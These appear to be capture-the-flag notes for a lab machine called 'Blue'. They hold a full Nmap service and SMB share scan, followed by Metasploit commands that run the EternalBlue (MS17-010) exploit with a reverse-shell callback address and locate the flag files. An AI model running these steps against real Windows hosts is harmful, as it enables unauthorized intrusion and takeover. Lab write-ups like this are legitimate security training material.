Blue

Scanning

Nmap
sudo nmap -A -p- -T4 -sCV --script smb-enum-shares 10.10.10.40
Starting Nmap 7.94SVN (https://nmap.org) at 2024-06-18 13:20 EDT
Nmap scan report for 10.10.10.40
Host is up (0.036s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/18%OT=135%CT=1%CU=40978%PV=Y%DS=2%DC=T%G=Y%TM=667
OS:1C274%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S
OS:%TS=7)SEQ(SP=103%GCD=2%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M53CNW8ST
OS:11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CS
OS:T11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=8
OS:0%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(
OS:R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F
OS:=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=
OS:164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.40\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.40\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>

```
|   Current user access: <none>
|  \\10.10.10.40\IPC$:
|   Type: STYPE_IPC_HIDDEN
|   Comment: Remote IPC
|   Anonymous access: READ
|   Current user access: READ/WRITE
|  \\10.10.10.40\Share:
|   Type: STYPE_DISKTREE
|   Comment:
|   Anonymous access: <none>
|   Current user access: READ
|  \\10.10.10.40\Users:
|   Type: STYPE_DISKTREE
|   Comment:
|   Anonymous access: <none>
|_   Current user access: READ

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1  36.91 ms 10.10.14.1
2  36.97 ms 10.10.10.40

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 149.61 seconds
```

Exploit

Metasploit

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST 10.10.14.14
run
for user.txt, got to path C:\Users\haris\Desktop
for root.txt, go to path C:\Users\Administrator\Desktop